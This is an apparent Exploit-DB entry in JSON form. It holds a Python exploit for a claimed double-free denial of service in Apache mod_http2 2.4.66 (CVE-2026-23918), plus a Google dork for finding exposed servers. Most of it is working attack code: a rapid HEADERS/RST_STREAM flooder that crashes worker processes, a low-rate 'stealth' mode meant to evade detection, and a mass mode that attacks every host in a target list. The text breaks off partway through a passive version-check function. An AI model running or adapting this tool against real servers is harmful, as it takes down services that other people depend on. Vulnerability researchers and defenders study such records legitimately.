{“lastseen”:”2026-05-26T15:27:57″,”description”:”Exploit Title: Apache HTTP Server 2.4.66 – ‘modhttp2’ Double-Free Denial of Service Google Dork: intext:\\”Apache\/2.4.66\\” \\”HTTP\/2\\” Date: 2026-05-06 Exploit Author: xeloxa https:\/\/github.com\/xeloxa\/ Vendor Homepage: https:\/\/httpd.apache.org\/ Software…”,”published”:”2026-05-26T00:00:00″,”modified”:”2026-05-26T00:00:00″,”type”:”exploitdb”,”title”:”Apache HTTP Server 2.4.66 – \\u0026#039;mod_http2\\u0026#039; Double-Free Denial of Service”,”source”:””,”references”:””,”id”:”EDB-ID:52577″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2026-23918″],”sourceData”:”# Exploit Title: Apache HTTP Server 2.4.66 – ‘mod_http2’ Double-Free Denial of Service\\r\\n# Google Dork: intext:\\”Apache\/2.4.66\\” \\”HTTP\/2\\”\\r\\n# Date: 2026-05-06\\r\\n# Exploit Author: xeloxa (https:\/\/github.com\/xeloxa\/) \\u003calisunbul@proton.me\\u003e\\r\\n# Vendor Homepage: https:\/\/httpd.apache.org\/\\r\\n# Software Link: https:\/\/archive.apache.org\/dist\/httpd\/httpd-2.4.66.tar.gz\\r\\n# Version: 2.4.66\\r\\n# Tested on: Debian \/ Ubuntu\\r\\n# CVE : CVE-2026-23918\\r\\n\\r\\n\\”\\”\\”\\r\\nCVE-2026-23918 – Apache mod_http2 Double-Free PoC\\r\\n\\r\\nQuick summary: This bug (CWE-415) hits Apache 2.4.66. It’s a race condition\\r\\nin the stream cleanup path. If you spam HEADERS and RST_STREAM fast enough,\\r\\nyou can trigger a double-free and crash the worker.\\r\\n\\r\\nAuthor: xeloxa (https:\/\/github.com\/xeloxa\/) \\u003calisunbul@proton.me\\u003e\\r\\nFound by: Bartlomiej Dmitruk \\u0026 Stanislaw Strzalkowski\\r\\n\\”\\”\\”\\r\\n\\r\\nimport argparse\\r\\nimport json\\r\\nimport os\\r\\nimport signal\\r\\nimport socket\\r\\nimport ssl\\r\\nimport sys\\r\\nimport threading\\r\\nimport time\\r\\nfrom collections import defaultdict\\r\\nfrom dataclasses import dataclass, field\\r\\nfrom datetime import datetime\\r\\nfrom typing import Dict, List, Optional, Tuple\\r\\n\\r\\n# —————————————————————————\\r\\n# Dependency Check\\r\\n# —————————————————————————\\r\\ntry:\\r\\n import h2.config\\r\\n import h2.connection\\r\\n import h2.events\\r\\n\\r\\n HAS_H2 = True\\r\\nexcept ImportError:\\r\\n HAS_H2 = False\\r\\n\\r\\n\\r\\n# —————————————————————————\\r\\n# ANSI Colors (for terminal output)\\r\\n# —————————————————————————\\r\\nclass Color:\\r\\n RED = \\”\\\\033[91m\\”\\r\\n GREEN = \\”\\\\033[92m\\”\\r\\n YELLOW = \\”\\\\033[93m\\”\\r\\n BLUE = \\”\\\\033[94m\\”\\r\\n MAGENTA = \\”\\\\033[95m\\”\\r\\n CYAN = \\”\\\\033[96m\\”\\r\\n BOLD = \\”\\\\033[1m\\”\\r\\n RESET = \\”\\\\033[0m\\”\\r\\n\\r\\n\\r\\ndef c(text: str, color: str) -\\u003e str:\\r\\n \\”\\”\\”Wrap text in color if output is a terminal.\\”\\”\\”\\r\\n if sys.stdout.isatty():\\r\\n return f\\”{color}{text}{Color.RESET}\\”\\r\\n return text\\r\\n\\r\\n\\r\\ndef print_banner(title: str, color: str = Color.BOLD) -\\u003e None:\\r\\n \\”\\”\\”Print a consistent tool banner with author info.\\”\\”\\”\\r\\n print(f\\”{‘=’ * 60}\\”)\\r\\n print(c(title, color))\\r\\n print(f\\”Author: xeloxa (https:\/\/github.com\/xeloxa\/)\\”)\\r\\n print(f\\”{‘=’ * 60}\\”)\\r\\n\\r\\n\\r\\n# —————————————————————————\\r\\n# Data Structures\\r\\n# —————————————————————————\\r\\n@dataclass\\r\\nclass ExploitStats:\\r\\n \\”\\”\\”Just a thread-safe counter for the stats.\\”\\”\\”\\r\\n\\r\\n connections: int = 0\\r\\n requests: int = 0\\r\\n resets: int = 0\\r\\n conn_errors: int = 0\\r\\n stream_errors: int = 0\\r\\n crashes: int = 0\\r\\n lock: threading.Lock = field(default_factory=threading.Lock)\\r\\n\\r\\n def inc(self, attr: str, delta: int = 1) -\\u003e None:\\r\\n with self.lock:\\r\\n setattr(self, attr, getattr(self, attr) + delta)\\r\\n\\r\\n def snapshot(self) -\\u003e Dict[str, int]:\\r\\n with self.lock:\\r\\n return {\\r\\n \\”connections\\”: self.connections,\\r\\n \\”requests\\”: self.requests,\\r\\n \\”resets\\”: self.resets,\\r\\n \\”conn_errors\\”: self.conn_errors,\\r\\n \\”stream_errors\\”: self.stream_errors,\\r\\n \\”crashes\\”: self.crashes,\\r\\n }\\r\\n\\r\\n\\r\\n# —————————————————————————\\r\\n# SSL \/ HTTP\/2 Connection Helpers\\r\\n# —————————————————————————\\r\\ndef create_ssl_context(\\r\\n alpn_protocols: Optional[List[str]] = None,\\r\\n) -\\u003e ssl.SSLContext:\\r\\n \\”\\”\\”Create an SSL context configured for HTTP\/2 ALPN negotiation.\\”\\”\\”\\r\\n ctx = ssl.create_default_context()\\r\\n ctx.check_hostname = False\\r\\n ctx.verify_mode = ssl.CERT_NONE\\r\\n if alpn_protocols is None:\\r\\n alpn_protocols = [\\”h2\\”]\\r\\n ctx.set_alpn_protocols(alpn_protocols)\\r\\n return ctx\\r\\n\\r\\n\\r\\ndef establish_h2_connection(\\r\\n host: str,\\r\\n port: int,\\r\\n timeout: float = 5.0,\\r\\n use_ssl: bool = True,\\r\\n) -\\u003e Tuple[Optional[socket.socket], Optional[h2.connection.H2Connection]]:\\r\\n \\”\\”\\”\\r\\n Sets up an H2 connection. \\r\\n Returns (socket, h2_connection) or (None, None) if something breaks.\\r\\n \\”\\”\\”\\r\\n try:\\r\\n sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\\r\\n sock.settimeout(timeout)\\r\\n sock.connect((host, port))\\r\\n\\r\\n if use_ssl:\\r\\n ctx = create_ssl_context()\\r\\n sock = ctx.wrap_socket(sock, server_hostname=host)\\r\\n\\r\\n config = h2.config.H2Configuration(client_side=True)\\r\\n conn = h2.connection.H2Connection(config=config)\\r\\n conn.initiate_connection()\\r\\n sock.sendall(conn.data_to_send())\\r\\n\\r\\n # Receive server preface (SETTINGS frame)\\r\\n data = sock.recv(8192)\\r\\n if not data:\\r\\n sock.close()\\r\\n return None, None\\r\\n conn.receive_data(data)\\r\\n sock.sendall(conn.data_to_send())\\r\\n\\r\\n return sock, conn\\r\\n except Exception:\\r\\n try:\\r\\n sock.close()\\r\\n except Exception:\\r\\n pass\\r\\n return None, None\\r\\n\\r\\n\\r\\n# —————————————————————————\\r\\n# Mode 1: DoS – Rapid RST Attack\\r\\n# —————————————————————————\\r\\nclass RapidRSTDoS:\\r\\n \\”\\”\\”\\r\\n The \\”classic\\” Rapid-RST DoS.\\r\\n \\r\\n We send a HEADERS frame and immediately follow up with an RST_STREAM. \\r\\n If the server hasn’t registered the stream yet, it’ll trigger two \\r\\n different cleanup callbacks. Both try to free the same memory. \\r\\n Boom – SIGSEGV.\\r\\n \\”\\”\\”\\r\\n\\r\\n def __init__(\\r\\n self,\\r\\n target: str,\\r\\n port: int,\\r\\n workers: int = 100,\\r\\n intensity: int = 7,\\r\\n use_ssl: bool = True,\\r\\n timeout: float = 5.0,\\r\\n verbose: bool = False,\\r\\n json_output: bool = False,\\r\\n ):\\r\\n self.target = target\\r\\n self.port = port\\r\\n self.num_workers = workers\\r\\n self.intensity = max(1, min(10, intensity))\\r\\n self.use_ssl = use_ssl\\r\\n self.timeout = timeout\\r\\n self.verbose = verbose\\r\\n self.json_output = json_output\\r\\n\\r\\n self.running = True\\r\\n self.crashed = False\\r\\n self.stats = ExploitStats()\\r\\n self.start_time: Optional[float] = None\\r\\n\\r\\n def is_server_alive(self) -\\u003e bool:\\r\\n \\”\\”\\”Check if the target server is responsive via HTTP\/2.\\”\\”\\”\\r\\n sock, conn = establish_h2_connection(\\r\\n self.target, self.port, timeout=3.0, use_ssl=self.use_ssl\\r\\n )\\r\\n if sock is None:\\r\\n return False\\r\\n try:\\r\\n sock.close()\\r\\n except Exception:\\r\\n pass\\r\\n return True\\r\\n\\r\\n def worker(self, worker_id: int) -\\u003e None:\\r\\n \\”\\”\\”\\r\\n Worker thread that continuously opens HTTP\/2 connections and sends\\r\\n HEADERS+RST_STREAM frame sequences to trigger the double-free.\\r\\n \\”\\”\\”\\r\\n streams_per_conn = 50\\r\\n reset_interval = max(1, 11 – self.intensity) # Lower = more resets\\r\\n\\r\\n while self.running:\\r\\n sock, conn = establish_h2_connection(\\r\\n self.target,\\r\\n self.port,\\r\\n timeout=self.timeout,\\r\\n use_ssl=self.use_ssl,\\r\\n )\\r\\n if sock is None:\\r\\n self.stats.inc(\\”conn_errors\\”)\\r\\n time.sleep(0.1)\\r\\n continue\\r\\n\\r\\n self.stats.inc(\\”connections\\”)\\r\\n\\r\\n try:\\r\\n sent = 0\\r\\n while sent \\u003c streams_per_conn and self.running:\\r\\n try:\\r\\n stream_id = conn.get_next_available_stream_id()\\r\\n conn.send_headers(\\r\\n stream_id,\\r\\n [\\r\\n (b\\”:method\\”, b\\”GET\\”),\\r\\n (b\\”:scheme\\”, b\\”https\\” if self.use_ssl else b\\”http\\”),\\r\\n (b\\”:authority\\”, self.target.encode()),\\r\\n (b\\”:path\\”, b\\”\/\\”),\\r\\n ],\\r\\n )\\r\\n sock.sendall(conn.data_to_send())\\r\\n self.stats.inc(\\”requests\\”)\\r\\n\\r\\n # Send RST_STREAM on configured interval\\r\\n if sent % reset_interval == 0:\\r\\n conn.reset_stream(stream_id, error_code=1)\\r\\n sock.sendall(conn.data_to_send())\\r\\n self.stats.inc(\\”resets\\”)\\r\\n\\r\\n sent += 1\\r\\n # Small delay to avoid overwhelming local resources\\r\\n time.sleep(0.001 * (11 – self.intensity))\\r\\n\\r\\n except Exception:\\r\\n self.stats.inc(\\”stream_errors\\”)\\r\\n break\\r\\n\\r\\n # Gracefully close the connection\\r\\n conn.close_connection()\\r\\n try:\\r\\n sock.sendall(conn.data_to_send())\\r\\n except Exception:\\r\\n pass\\r\\n\\r\\n except Exception:\\r\\n pass\\r\\n finally:\\r\\n try:\\r\\n sock.close()\\r\\n except Exception:\\r\\n pass\\r\\n\\r\\n def monitor(self) -\\u003e None:\\r\\n \\”\\”\\”Monitor thread that checks server aliveness and prints stats.\\”\\”\\”\\r\\n checks_since_alive = 0\\r\\n last_report = 0\\r\\n\\r\\n while self.running:\\r\\n time.sleep(0.5)\\r\\n alive = self.is_server_alive()\\r\\n\\r\\n if alive:\\r\\n checks_since_alive = 0\\r\\n elapsed = int(time.time() – self.start_time)\\r\\n if elapsed – last_report \\u003e= 10:\\r\\n last_report = elapsed\\r\\n snap = self.stats.snapshot()\\r\\n if self.json_output:\\r\\n print(\\r\\n json.dumps(\\r\\n {\\r\\n \\”timestamp\\”: datetime.now().isoformat(),\\r\\n \\”elapsed_s\\”: elapsed,\\r\\n \\”status\\”: \\”alive\\”,\\r\\n **snap,\\r\\n }\\r\\n )\\r\\n )\\r\\n else:\\r\\n print(\\r\\n f\\” {c(f'[t={elapsed}s]’, Color.CYAN)} \\”\\r\\n f\\”conns={snap[‘connections’]} \\”\\r\\n f\\”reqs={snap[‘requests’]} \\”\\r\\n f\\”resets={snap[‘resets’]} \\”\\r\\n f\\”{c(‘OK’, Color.GREEN)}\\”\\r\\n )\\r\\n else:\\r\\n checks_since_alive += 1\\r\\n if checks_since_alive \\u003e= 2 and not self.crashed:\\r\\n self.crashed = True\\r\\n self.stats.inc(\\”crashes\\”)\\r\\n elapsed = int(time.time() – self.start_time)\\r\\n if self.json_output:\\r\\n print(\\r\\n json.dumps(\\r\\n {\\r\\n \\”timestamp\\”: datetime.now().isoformat(),\\r\\n \\”elapsed_s\\”: elapsed,\\r\\n \\”status\\”: \\”CRASHED\\”,\\r\\n **self.stats.snapshot(),\\r\\n }\\r\\n )\\r\\n )\\r\\n else:\\r\\n print(f\\”\\\\n{‘=’ * 60}\\”)\\r\\n print(\\r\\n c(\\r\\n f\\”!!! SERVER CRASHED at t={elapsed}s !!!\\”,\\r\\n Color.RED + Color.BOLD,\\r\\n )\\r\\n )\\r\\n print(\\r\\n f\\”Stats: {json.dumps(self.stats.snapshot(), indent=2)}\\”\\r\\n )\\r\\n print(f\\”{‘=’ * 60}\\”)\\r\\n self.running = False\\r\\n return\\r\\n\\r\\n def run(self) -\\u003e None:\\r\\n \\”\\”\\”Execute the DoS exploit.\\”\\”\\”\\r\\n if not self.json_output:\\r\\n print_banner(\\”CVE-2026-23918 – Apache Double-Free DoS\\”, Color.BOLD + Color.RED)\\r\\n print(f\\”Target: {self.target}:{self.port}\\”)\\r\\n print(f\\”Mode : Rapid-RST\\”)\\r\\n print(f\\”Stats : {self.num_workers} workers | Intensity {self.intensity}\\”)\\r\\n print(f\\”SSL : {‘On’ if self.use_ssl else ‘Off’}\\”)\\r\\n print(f\\”{‘=’ * 60}\\”)\\r\\n\\r\\n if not HAS_H2:\\r\\n print(c(\\”[!] h2 library missing. Install: pip3 install h2\\”, Color.RED))\\r\\n sys.exit(1)\\r\\n\\r\\n # Pre-flight server check\\r\\n if not self.json_output:\\r\\n print(c(\\”[*] Checking if server is up…\\”, Color.YELLOW))\\r\\n if not self.is_server_alive():\\r\\n print(c(f\\”[!] Can’t reach {self.target}:{self.port}\\”, Color.RED))\\r\\n sys.exit(1)\\r\\n if not self.json_output:\\r\\n print(c(\\”[+] Server’s up. Sending payloads…\\\\n\\”, Color.GREEN))\\r\\n\\r\\n # Launch workers\\r\\n self.start_time = time.time()\\r\\n workers = []\\r\\n for i in range(self.num_workers):\\r\\n t = threading.Thread(target=self.worker, args=(i,), daemon=True)\\r\\n t.start()\\r\\n workers.append(t)\\r\\n\\r\\n # Run monitor (blocks until crash detected or Ctrl+C)\\r\\n self.monitor()\\r\\n\\r\\n # Wait for workers to finish\\r\\n for t in workers:\\r\\n t.join(timeout=2)\\r\\n\\r\\n # Final report\\r\\n snap = self.stats.snapshot()\\r\\n if self.json_output:\\r\\n print(\\r\\n json.dumps(\\r\\n {\\r\\n \\”timestamp\\”: datetime.now().isoformat(),\\r\\n \\”final\\”: True,\\r\\n \\”crashed\\”: self.crashed,\\r\\n **snap,\\r\\n }\\r\\n )\\r\\n )\\r\\n else:\\r\\n print(f\\”\\\\n{‘=’ * 60}\\”)\\r\\n print(c(\\”ATTACK RESULTS\\”, Color.BOLD))\\r\\n print(f\\”{‘=’ * 60}\\”)\\r\\n print(f\\”Connections: {snap[‘connections’]}\\”)\\r\\n print(f\\”Requests : {snap[‘requests’]}\\”)\\r\\n print(f\\”Resets : {snap[‘resets’]}\\”)\\r\\n print(f\\”Errors : {snap[‘conn_errors’]} (conn) \/ {snap[‘stream_errors’]} (stream)\\”)\\r\\n if self.crashed:\\r\\n print(c(\\”\\\\n[!] CRASH DETECTED – Double-free confirmed.\\”, Color.RED + Color.BOLD))\\r\\n else:\\r\\n print(c(\\”\\\\n[-] Server’s still alive.\\”, Color.YELLOW))\\r\\n print(f\\”{‘=’ * 60}\\”)\\r\\n\\r\\n\\r\\n# —————————————————————————\\r\\n# Mode 2: Slow-Drip DoS (Stealth)\\r\\n# —————————————————————————\\r\\nclass SlowDripDoS:\\r\\n \\”\\”\\”\\r\\n Low-bandwidth, sustained denial of service.\\r\\n\\r\\n Uses fewer connections and longer intervals between RST_STREAM frames\\r\\n to evade detection while maintaining pressure on the target.\\r\\n \\”\\”\\”\\r\\n\\r\\n def __init__(\\r\\n self,\\r\\n target: str,\\r\\n port: int,\\r\\n workers: int = 5,\\r\\n intensity: int = 3,\\r\\n duration_minutes: int = 30,\\r\\n use_ssl: bool = True,\\r\\n timeout: float = 5.0,\\r\\n json_output: bool = False,\\r\\n ):\\r\\n self.target = target\\r\\n self.port = port\\r\\n self.num_workers = max(1, workers)\\r\\n self.intensity = max(1, min(5, intensity))\\r\\n self.duration_seconds = duration_minutes * 60\\r\\n self.use_ssl = use_ssl\\r\\n self.timeout = timeout\\r\\n self.json_output = json_output\\r\\n\\r\\n self.running = True\\r\\n self.stats = ExploitStats()\\r\\n self.start_time: Optional[float] = None\\r\\n\\r\\n def worker(self, worker_id: int) -\\u003e None:\\r\\n \\”\\”\\”Slow-drip worker – lower frequency, sustained attack.\\”\\”\\”\\r\\n while self.running and (\\r\\n time.time() – self.start_time \\u003c self.duration_seconds\\r\\n ):\\r\\n sock, conn = establish_h2_connection(\\r\\n self.target, self.port, timeout=self.timeout, use_ssl=self.use_ssl\\r\\n )\\r\\n if sock is None:\\r\\n self.stats.inc(\\”conn_errors\\”)\\r\\n time.sleep(0.5)\\r\\n continue\\r\\n\\r\\n self.stats.inc(\\”connections\\”)\\r\\n try:\\r\\n stream_id = conn.get_next_available_stream_id()\\r\\n conn.send_headers(\\r\\n stream_id,\\r\\n [\\r\\n (b\\”:method\\”, b\\”GET\\”),\\r\\n (b\\”:scheme\\”, b\\”https\\” if self.use_ssl else b\\”http\\”),\\r\\n (b\\”:authority\\”, self.target.encode()),\\r\\n (b\\”:path\\”, b\\”\/\\”),\\r\\n ],\\r\\n )\\r\\n sock.sendall(conn.data_to_send())\\r\\n self.stats.inc(\\”requests\\”)\\r\\n\\r\\n # Small delay before reset – simulates slow client\\r\\n time.sleep(0.01)\\r\\n conn.reset_stream(stream_id, error_code=1)\\r\\n sock.sendall(conn.data_to_send())\\r\\n self.stats.inc(\\”resets\\”)\\r\\n\\r\\n conn.close_connection()\\r\\n sock.sendall(conn.data_to_send())\\r\\n except Exception:\\r\\n self.stats.inc(\\”stream_errors\\”)\\r\\n finally:\\r\\n try:\\r\\n sock.close()\\r\\n except Exception:\\r\\n pass\\r\\n\\r\\n # Longer sleep for stealth\\r\\n delay = max(1.0, (6 – self.intensity) * 2.0)\\r\\n time.sleep(delay)\\r\\n\\r\\n def run(self) -\\u003e None:\\r\\n \\”\\”\\”Execute the slow-drip DoS.\\”\\”\\”\\r\\n if not self.json_output:\\r\\n print_banner(\\”CVE-2026-23918 – Slow-Drip (Stealth)\\”, Color.BOLD + Color.YELLOW)\\r\\n print(f\\”Target: {self.target}:{self.port}\\”)\\r\\n print(f\\”Time : {self.duration_seconds \/\/ 60} min\\”)\\r\\n print(f\\”Workers: {self.num_workers} | Intensity: {self.intensity}\\”)\\r\\n print(f\\”{‘=’ * 60}\\”)\\r\\n\\r\\n if not HAS_H2:\\r\\n print(c(\\”[!] h2 library missing. Install: pip3 install h2\\”, Color.RED))\\r\\n sys.exit(1)\\r\\n\\r\\n self.start_time = time.time()\\r\\n workers = []\\r\\n for i in range(self.num_workers):\\r\\n t = threading.Thread(target=self.worker, args=(i,), daemon=True)\\r\\n t.start()\\r\\n workers.append(t)\\r\\n\\r\\n # Wait for duration or Ctrl+C\\r\\n try:\\r\\n while self.running and (\\r\\n time.time() – self.start_time \\u003c self.duration_seconds\\r\\n ):\\r\\n time.sleep(5)\\r\\n elapsed = int(time.time() – self.start_time)\\r\\n snap = self.stats.snapshot()\\r\\n if self.json_output:\\r\\n print(\\r\\n json.dumps(\\r\\n {\\r\\n \\”timestamp\\”: datetime.now().isoformat(),\\r\\n \\”elapsed_s\\”: elapsed,\\r\\n **snap,\\r\\n }\\r\\n )\\r\\n )\\r\\n else:\\r\\n remaining = self.duration_seconds – elapsed\\r\\n print(\\r\\n f\\” {c(f'[{elapsed}s\/{remaining}s remaining]’, Color.CYAN)} \\”\\r\\n f\\”conns={snap[‘connections’]} \\”\\r\\n f\\”resets={snap[‘resets’]}\\”\\r\\n )\\r\\n except KeyboardInterrupt:\\r\\n pass\\r\\n\\r\\n self.running = False\\r\\n for t in workers:\\r\\n t.join(timeout=2)\\r\\n\\r\\n if not self.json_output:\\r\\n print(c(\\”\\\\n[*] Slow-drip attack complete.\\”, Color.GREEN))\\r\\n\\r\\n\\r\\n# —————————————————————————\\r\\n# Mode 3: Mass DoS\\r\\n# —————————————————————————\\r\\nclass MassDoS:\\r\\n \\”\\”\\”Multi-target sustained denial of service.\\”\\”\\”\\r\\n\\r\\n def __init__(\\r\\n self,\\r\\n targets_file: str,\\r\\n workers_per_target: int = 50,\\r\\n intensity: int = 7,\\r\\n duration_minutes: int = 30,\\r\\n use_ssl: bool = True,\\r\\n timeout: float = 5.0,\\r\\n json_output: bool = False,\\r\\n ):\\r\\n self.targets = self._load_targets(targets_file)\\r\\n self.workers_per_target = workers_per_target\\r\\n self.intensity = max(1, min(10, intensity))\\r\\n self.duration_seconds = duration_minutes * 60\\r\\n self.use_ssl = use_ssl\\r\\n self.timeout = timeout\\r\\n self.json_output = json_output\\r\\n\\r\\n self.running = True\\r\\n self.start_time: Optional[float] = None\\r\\n self.target_results: Dict[Tuple[str, int], Dict] = defaultdict(\\r\\n lambda: {\\r\\n \\”status\\”: \\”unknown\\”,\\r\\n \\”connections\\”: 0,\\r\\n \\”conn_errors\\”: 0,\\r\\n \\”requests\\”: 0,\\r\\n \\”resets\\”: 0,\\r\\n \\”crashes\\”: 0,\\r\\n }\\r\\n )\\r\\n self.results_lock = threading.Lock()\\r\\n\\r\\n @staticmethod\\r\\n def _load_targets(path: str) -\\u003e List[Tuple[str, int]]:\\r\\n \\”\\”\\”Load targets from file (format: host:port or host).\\”\\”\\”\\r\\n targets = []\\r\\n with open(path) as f:\\r\\n for line in f:\\r\\n line = line.strip()\\r\\n if not line or line.startswith(\\”#\\”):\\r\\n continue\\r\\n if \\”:\\” in line:\\r\\n host, port = line.rsplit(\\”:\\”, 1)\\r\\n targets.append((host.strip(), int(port.strip())))\\r\\n else:\\r\\n targets.append((line.strip(), 443))\\r\\n return targets\\r\\n\\r\\n def is_alive(self, host: str, port: int) -\\u003e bool:\\r\\n \\”\\”\\”Quick aliveness check.\\”\\”\\”\\r\\n sock, conn = establish_h2_connection(\\r\\n host, port, timeout=3.0, use_ssl=self.use_ssl\\r\\n )\\r\\n if sock is None:\\r\\n return False\\r\\n try:\\r\\n sock.close()\\r\\n except Exception:\\r\\n pass\\r\\n return True\\r\\n\\r\\n def worker(self, host: str, port: int) -\\u003e None:\\r\\n \\”\\”\\”Attack worker for a specific target.\\”\\”\\”\\r\\n results = self.target_results[(host, port)]\\r\\n reset_interval = max(1, 11 – self.intensity)\\r\\n sent = 0\\r\\n\\r\\n while self.running and (\\r\\n time.time() – self.start_time \\u003c self.duration_seconds\\r\\n ):\\r\\n sock, conn = establish_h2_connection(\\r\\n host, port, timeout=self.timeout, use_ssl=self.use_ssl\\r\\n )\\r\\n if sock is None:\\r\\n with self.results_lock:\\r\\n results[\\”conn_errors\\”] += 1\\r\\n time.sleep(0.5)\\r\\n continue\\r\\n\\r\\n with self.results_lock:\\r\\n results[\\”connections\\”] += 1\\r\\n\\r\\n try:\\r\\n while self.running and (\\r\\n time.time() – self.start_time \\u003c self.duration_seconds\\r\\n ):\\r\\n try:\\r\\n sid = conn.get_next_available_stream_id()\\r\\n conn.send_headers(\\r\\n sid,\\r\\n [\\r\\n (b\\”:method\\”, b\\”GET\\”),\\r\\n (\\r\\n b\\”:scheme\\”,\\r\\n b\\”https\\” if self.use_ssl else b\\”http\\”,\\r\\n ),\\r\\n (b\\”:authority\\”, host.encode()),\\r\\n (b\\”:path\\”, b\\”\/\\”),\\r\\n ],\\r\\n )\\r\\n sock.sendall(conn.data_to_send())\\r\\n with self.results_lock:\\r\\n results[\\”requests\\”] += 1\\r\\n sent += 1\\r\\n\\r\\n if sent % reset_interval == 0:\\r\\n conn.reset_stream(sid, error_code=1)\\r\\n sock.sendall(conn.data_to_send())\\r\\n with self.results_lock:\\r\\n results[\\”resets\\”] += 1\\r\\n except Exception:\\r\\n break\\r\\n\\r\\n conn.close_connection()\\r\\n try:\\r\\n sock.sendall(conn.data_to_send())\\r\\n except Exception:\\r\\n pass\\r\\n except Exception:\\r\\n pass\\r\\n finally:\\r\\n try:\\r\\n sock.close()\\r\\n except Exception:\\r\\n pass\\r\\n\\r\\n def monitor_target(self, host: str, port: int) -\\u003e None:\\r\\n \\”\\”\\”Monitor aliveness for a specific target.\\”\\”\\”\\r\\n results = self.target_results[(host, port)]\\r\\n while self.running and (\\r\\n time.time() – self.start_time \\u003c self.duration_seconds\\r\\n ):\\r\\n alive = self.is_alive(host, port)\\r\\n with self.results_lock:\\r\\n if not alive:\\r\\n if results[\\”status\\”] != \\”down\\”:\\r\\n results[\\”status\\”] = \\”down\\”\\r\\n results[\\”crashes\\”] += 1\\r\\n elapsed = int(time.time() – self.start_time)\\r\\n if not self.json_output:\\r\\n print(\\r\\n c(\\r\\n f\\” [t={elapsed}s] {host}:{port} – SERVER DOWN\\”,\\r\\n Color.RED,\\r\\n )\\r\\n )\\r\\n else:\\r\\n results[\\”status\\”] = \\”up\\”\\r\\n time.sleep(5)\\r\\n\\r\\n def print_dashboard(self) -\\u003e None:\\r\\n \\”\\”\\”Print live status dashboard.\\”\\”\\”\\r\\n print(\\”\\\\033[2J\\\\033[H\\”, end=\\”\\”) # ANSI escape sequence to clear screen\\r\\n elapsed = int(time.time() – self.start_time)\\r\\n remaining = max(0, self.duration_seconds – elapsed)\\r\\n print(f\\”{‘=’ * 70}\\”)\\r\\n print(f\\” CVE-2026-23918 Mass DoS | {elapsed}s elapsed | {remaining}s remaining\\”)\\r\\n print(f\\”{‘=’ * 70}\\”)\\r\\n print(\\r\\n f\\”{‘Target’:\\u003c35} {‘Status’:\\u003c10} {‘Conns’:\\u003c8} {‘Err’:\\u003c5} {‘Reqs’:\\u003c8} {‘Resets’:\\u003c8} {‘Crashes’:\\u003c8}\\”\\r\\n )\\r\\n print(\\”-\\” * 80)\\r\\n for host, port in self.targets:\\r\\n r = self.target_results[(host, port)]\\r\\n print(\\r\\n f\\”{host+’:’+str(port):\\u003c35} \\”\\r\\n f\\”{r[‘status’]:\\u003c10} {r[‘connections’]:\\u003c8} {r[‘conn_errors’]:\\u003c5} \\”\\r\\n f\\”{r[‘requests’]:\\u003c8} {r[‘resets’]:\\u003c8} {r[‘crashes’]:\\u003c8}\\”\\r\\n )\\r\\n print(f\\”{‘=’ * 70}\\”)\\r\\n\\r\\n def run(self) -\\u003e None:\\r\\n \\”\\”\\”Execute mass DoS attack.\\”\\”\\”\\r\\n if not self.json_output:\\r\\n print_banner(\\”CVE-2026-23918 – Mass Scan\/Attack\\”, Color.BOLD + Color.RED)\\r\\n print(f\\”Targets: {len(self.targets)} | Time: {self.duration_seconds \/\/ 60} min\\”)\\r\\n print(f\\”Workers: {self.workers_per_target} per target | Intensity: {self.intensity}\\”)\\r\\n print(f\\”{‘=’ * 60}\\\\n\\”)\\r\\n\\r\\n if not HAS_H2:\\r\\n print(c(\\”[!] h2 library missing: pip3 install h2\\”, Color.RED))\\r\\n sys.exit(1)\\r\\n\\r\\n self.start_time = time.time()\\r\\n\\r\\n # Launch workers for each target\\r\\n all_workers = []\\r\\n for host, port in self.targets:\\r\\n for _ in range(self.workers_per_target):\\r\\n t = threading.Thread(\\r\\n target=self.worker, args=(host, port), daemon=True\\r\\n )\\r\\n t.start()\\r\\n all_workers.append(t)\\r\\n\\r\\n # Launch a monitor for each target\\r\\n mt = threading.Thread(\\r\\n target=self.monitor_target, args=(host, port), daemon=True\\r\\n )\\r\\n mt.start()\\r\\n all_workers.append(mt)\\r\\n\\r\\n # Dashboard loop\\r\\n try:\\r\\n while self.running and (\\r\\n time.time() – self.start_time \\u003c self.duration_seconds\\r\\n ):\\r\\n if not self.json_output:\\r\\n self.print_dashboard()\\r\\n time.sleep(10)\\r\\n except KeyboardInterrupt:\\r\\n pass\\r\\n\\r\\n self.running = False\\r\\n for t in all_workers:\\r\\n t.join(timeout=2)\\r\\n\\r\\n if not self.json_output:\\r\\n self.print_dashboard()\\r\\n print(c(\\”\\\\n[*] Mass DoS complete.\\”, Color.GREEN))\\r\\n\\r\\n\\r\\n# —————————————————————————\\r\\n# Mode 4: RCE Detection (Passive)\\r\\n# —————————————————————————\\r\\ndef rce_detect(\\r\\n target: str, port: int, timeout: float = 5.0, json_output: bool = False\\r\\n) -\\u003e Dict:\\r\\n \\”\\”\\”\\r\\n Passive check. We just look at headers and version info to see \\r\\n if the target might be vulnerable. No exploit payloads sent.\\r\\n \\”\\”\\”\\r\\n if not HAS_H2:\\r\\n if json_output:\\r\\n print(\\r\\n json.dumps(\\r\\n {\\”error\\”: \\”h2 library not installed. Run: pip3 install h2\\”}\\r\\n )\\r\\n )\\r\\n else:\\r\\n print(c(\\”[!] h2 library missing. Install: pip3 install h2\\”, Color.RED))\\r\\n return {\\”error\\”: \\”h2 library not installed\\”}\\r\\n\\r\\n result = {\\r\\n \\”target\\”: f\\”{target}:{port}\\”,\\r\\n \\”timestamp\\”: datetime.now().isoformat(),\\r\\n \\”reachable\\”: False,\\r\\n \\”http2_supported\\”: False,\\r\\n \\”server_header\\”: None,\\r\\n \\”apache_version\\”: None,\\r\\n \\”likely_vulnerable\\”: False,\\r\\n \\”cve_applicable\\”: False,\\r\\n \\”notes\\”: [],\\r\\n }\\r\\n\\r\\n # Try HTTP\/2 connection\\r\\n sock, conn = establish_h2_connection(target, port, timeout=timeout, use_ssl=True)\\r\\n if sock is None:\\r\\n result[\\”notes\\”].append(\\”Target not reachable or HTTP\/2 not supported\\”)\\r\\n return result\\r\\n\\r\\n result[\\”reachable\\”] = True\\r\\n result[\\”http2_supported\\”] = True\\r\\n\\r\\n # Send a GET request and observe response\\r\\n try:\\r\\n stream_id = conn.get_next_available_stream_id()\\r\\n conn.send_headers(\\r\\n stream_id,\\r\\n [\\r\\n (b\\”:method\\”, b\\”GET\\”),\\r\\n (b\\”:scheme\\”, 